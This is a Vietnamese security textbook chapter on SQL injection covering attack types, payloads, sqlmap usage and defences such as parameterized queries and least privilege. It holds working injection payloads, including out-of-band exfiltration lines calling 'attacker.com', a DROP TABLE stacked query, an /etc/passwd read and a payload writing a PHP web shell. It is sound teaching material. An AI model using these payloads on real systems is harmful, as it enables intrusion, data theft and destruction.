Chương 12: SQL Injection
Khái niệm
SQL Injection (Tiêm SQL) là lỗ hổng cho phép hacker can thiệp vào database queries của ứng dụng bằng cách inject SQL code vào user input.
Mức độ nguy hiểm: Rất cao — SQLi có thể dẫn đến đọc/sửa/xóa toàn bộ database, bypass authentication, và trong một số trường hợp, RCE (Remote Code Execution).
SQLi xảy ra khi user input được nối trực tiếp vào SQL query thay vì dùng parameterized queries.
Cách hoạt động
# Vulnerable code
def get_products(category):
query = f"SELECT * FROM products WHERE category = '{category}'"
return db.execute(query)
# Normal request: category=Gifts
# Query: SELECT * FROM products WHERE category = 'Gifts'
# Attack: category=Gifts' OR '1'='1
# Query: SELECT * FROM products WHERE category = 'Gifts' OR '1'='1'
# → Return tất cả products (vì '1'='1' luôn true)
Các loại SQL Injection
1. In-Band SQLi — Error-Based
Server trả về SQL error messages → leak thông tin database structure.
Input: ' (single quote)
Error: You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near ''' at line 1
→ Biết đây là MySQL, biết query syntax
Khai thác error-based:
-- MySQL: extractvalue để trigger error chứa data
' AND extractvalue(1, concat(0x7e, (SELECT version()))) --
-- Error: XPATH syntax error: '~5.7.32-log'
-- → Biết MySQL version là 5.7.32
-- Lấy database names
' AND extractvalue(1, concat(0x7e, (SELECT database()))) --
-- Error: XPATH syntax error: '~shopdb'
-- Lấy table names
' AND extractvalue(1, concat(0x7e,
(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1))) --
2. In-Band SQLi — UNION-Based
Dùng UNION để nối kết quả từ query khác vào response.
-- Bước 1: Tìm số cột
' ORDER BY 1-- → OK
' ORDER BY 2-- → OK
' ORDER BY 3-- → Error → có 2 cột
-- Bước 2: Tìm cột nào hiển thị text
' UNION SELECT NULL, NULL--
' UNION SELECT 'test', NULL-- → 'test' xuất hiện → cột 1 hiển thị text
-- Bước 3: Extract data
' UNION SELECT username, password FROM users--
' UNION SELECT table_name, column_name FROM information_schema.columns--
Ví dụ đầy đủ:
GET /products?category=Gifts' UNION SELECT username, password FROM users-- HTTP/1.1
Response:
Product: admin | Password: admin123
Product: alice | Password: letmein
3. Blind SQLi — Boolean-Based
App không hiển thị kết quả query, nhưng hành vi khác nhau dựa trên condition true/false.
-- Test: nếu điều kiện đúng → trả 1 product, sai → trả 0 product
' AND 1=1-- → kết quả bình thường (true)
' AND 1=2-- → không có kết quả (false)
-- Lấy thông tin từng ký tự
' AND SUBSTRING(username,1,1)='a'-- → true nếu char đầu là 'a'
' AND SUBSTRING(username,1,1)='b'-- → false
-- Automation: brute force từng ký tự
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>50--
→ Binary search để tìm ASCII value
4. Blind SQLi — Time-Based
Không có sự khác biệt trong response — dùng time delay để infer data.
-- MySQL
' AND SLEEP(5)--
-- Nếu delay 5 giây → query thực thi → SQLi confirmed
' AND IF(1=1, SLEEP(5), 0)-- → delay (true)
' AND IF(1=2, SLEEP(5), 0)-- → không delay (false)
-- Lấy data qua timing
' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(3), 0)--
→ Delay 3 giây → ký tự đầu của database name là 's'
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--
5. Out-of-Band SQLi
Khi server không trả về gì cả, dùng DNS/HTTP để exfiltrate data ra ngoài.
-- MySQL: dùng load_file để trigger DNS
' AND LOAD_FILE(concat('\\\\', database(), '.attacker.com\\a'))--
→ DNS lookup: shopdb.attacker.com → biết database name
-- MSSQL: xp_cmdshell (nếu enabled)
'; exec master..xp_cmdshell 'nslookup '+@@version+'.attacker.com'--
6. Second-Order Injection
Payload được lưu vào DB, sau đó được dùng unsafe trong query khác.
# Bước 1: Register user với username có payload
username = "admin'--"
# Lưu vào DB: developer nghĩ đã safe vì escaped khi lưu
# Bước 2: Khi change password, dùng stored username trực tiếp
query = f"UPDATE users SET password='{new_pass}' WHERE username='{current_username}'"
# current_username = admin'-- (lấy từ DB, không escape lại)
# Query: UPDATE users SET password='...' WHERE username='admin'--'
# → Đổi password của admin, không phải current user
Khai thác nâng cao
Authentication Bypass
-- Login form
SELECT * FROM users WHERE username='INPUT' AND password='INPUT'
-- Payload username: admin'--
-- Query: SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- → Comment out password check → login as admin without password
-- Payload: ' OR '1'='1'--
-- Query: SELECT * FROM users WHERE username='' OR '1'='1'--' AND password=''
-- → Return tất cả users, login với user đầu tiên (thường là admin)
Stacked Queries (Nếu DB support)
-- PostgreSQL, MSSQL support multiple statements
'; DROP TABLE users; --
'; INSERT INTO admin_users VALUES ('hacker','password'); --
-- MySQL không support stacked queries qua standard PHP/Python drivers
File Read/Write
-- MySQL: đọc file (cần FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL--
-- MySQL: ghi web shell (cần quyền ghi vào webroot)
' UNION SELECT '<?php system($_GET["cmd"]); ?>', NULL
INTO OUTFILE '/var/www/html/shell.php'--
-- Bây giờ có RCE:
-- https://example.com/shell.php?cmd=id
sqlmap — Automation Tool
# Basic scan
sqlmap -u "https://example.com/products?category=Gifts"
# Với cookies (authenticated)
sqlmap -u "https://example.com/api/products?id=1" \
--cookie="session=abc123"
# POST request
sqlmap -u "https://example.com/login" \
--data="username=admin&password=test" \
--method POST
# Dump database
sqlmap -u "URL" --dump-all
# Detect specific DBMS
sqlmap -u "URL" --dbms=mysql
# Bypass WAF
sqlmap -u "URL" --tamper=randomcase,space2comment
# Chỉ test, không exploit
sqlmap -u "URL" --batch --level=3 --risk=2
Database-Specific Cheat Sheet
-- Lấy database version
MySQL: SELECT version()
PostgreSQL: SELECT version()
MSSQL: SELECT @@version
Oracle: SELECT banner FROM v$version
-- Lấy current database/schema
MySQL: SELECT database()
PostgreSQL: SELECT current_database()
MSSQL: SELECT db_name()
-- Lấy tất cả tables
MySQL: SELECT table_name FROM information_schema.tables WHERE table_schema=database()
PostgreSQL: SELECT tablename FROM pg_tables WHERE schemaname='public'
MSSQL: SELECT table_name FROM information_schema.tables
Oracle: SELECT table_name FROM all_tables
-- Comment syntax
MySQL: -- comment # comment /* comment */
PostgreSQL: -- comment /* comment */
MSSQL: -- comment /* comment */
Oracle: -- comment /* comment */
-- String concatenation
MySQL: CONCAT('a','b') hoặc 'a' 'b'
PostgreSQL: 'a' || 'b'
MSSQL: 'a' + 'b'
Oracle: 'a' || 'b'
Cách phát hiện
□ Thêm ' (single quote) → SQL error xuất hiện?
□ Thêm '' (double quote) → error changes?
□ Boolean test: AND 1=1 vs AND 1=2 → response khác nhau?
□ Time test: AND SLEEP(5) → delay?
□ UNION test: UNION SELECT NULL--
□ Error messages lộ database type/version?
□ Response time bất thường với time-based payloads
Burp Scanner tự động detect SQLi.
Manual test:
Input: '
Input: ''
Input: `
Input: ')
Input: '))
Input: ' OR '1'='1'--
Input: ' AND 1=2--
Input: ' UNION SELECT NULL--
Input: '; WAITFOR DELAY '0:0:5'--
Phòng chống
1. Parameterized Queries (Quan trọng nhất)
# SAI: String concatenation
def login(username, password):
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
return db.execute(query)
# ĐÚNG: Parameterized query
def login(username, password):
query = "SELECT * FROM users WHERE username = %s AND password = %s"
return db.execute(query, (username, password))
# ĐÚNG với SQLAlchemy ORM
from sqlalchemy import text
def login(username, password):
result = db.execute(
text("SELECT * FROM users WHERE username = :user AND password = :pass"),
{"user": username, "pass": password}
)
return result.fetchone()
# Với các ngôn ngữ khác:
# PHP - PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
# Java - PreparedStatement
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
# Node.js - mysql2
const [rows] = await connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
);
2. Stored Procedures
-- Stored procedure an toàn (nếu bên trong cũng dùng parameterized)
CREATE PROCEDURE GetUser @username NVARCHAR(50), @password NVARCHAR(50)
AS
SELECT * FROM users WHERE username = @username AND password = @password;
GO
3. Least Privilege
-- DB user chỉ có quyền cần thiết
CREATE USER 'app_user'@'%' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON mydb.users TO 'app_user'@'%';
-- Không grant DROP, CREATE, FILE, SUPER
4. Input Validation (Defense in Depth)
# Validate trước khi query
import re
def validate_username(username):
if not re.match(r'^[a-zA-Z0-9_]{3,50}$', username):
raise ValueError("Invalid username format")
return username
5. WAF Rules
ModSecurity với OWASP CRS detect SQLi patterns:
- Single quotes
- SQL keywords (UNION, SELECT, DROP, etc.)
- Comment sequences (--, #, /*)
- Hex encoding bypass
Góc nhìn DevOps
Database hardening:
# MySQL config: disable dangerous features
[mysqld]
local-infile = 0 # Disable LOAD DATA LOCAL INFILE
secure-file-priv = "" # Disable file read/write
skip-show-database # Hide database names
# Restrict ho MySQL từ external access
bind-address = 127.0.0.1 # Chỉ accept local connections
Kubernetes: Database không expose ra ngoài:
# Database Service chỉ accessible trong cluster
apiVersion: v1
kind: Service
metadata:
name: mysql
spec:
type: ClusterIP # Không phải NodePort hay LoadBalancer
ports:
- port: 3306
SAST trong CI/CD để detect SQLi:
# GitHub Actions với Semgrep
- name: SAST Scan
run: |
pip install semgrep
semgrep --config=p/sql-injection \
--config=p/owasp-top-ten \
src/
Monitoring SQLi attempts:
Alert khi:
- SQL error messages trong response (info leak)
- Request với SQL keywords trong parameters
- Unusual query patterns (UNION, OR 1=1)
- High latency requests (time-based blind SQLi)
Tóm tắt
- SQLi: inject SQL code vào query thay vì dùng parameterized queries.
- 4 loại: Error-based, UNION-based, Blind (boolean/time), Out-of-band.
- Impact: data theft, auth bypass, file read/write, RCE.
- Phòng chống #1: Parameterized queries — không thể thiếu.
- Least privilege cho DB user — giới hạn damage nếu bị exploit.
- sqlmap là tool tự động hóa khai thác và detection.
- WAF có thể detect nhưng không nên là biện pháp duy nhất.
Câu hỏi ôn tập
- Tại sao UNION-based SQLi cần biết số cột trước khi khai thác?
- Sự khác nhau giữa boolean-based và time-based blind SQLi là gì?
- Second-order injection là gì và tại sao khó phát hiện hơn first-order?
- Parameterized queries ngăn SQLi như thế nào về mặt kỹ thuật?
- Nếu DB user bị compromise qua SQLi, tại sao principle of least privilege quan trọng?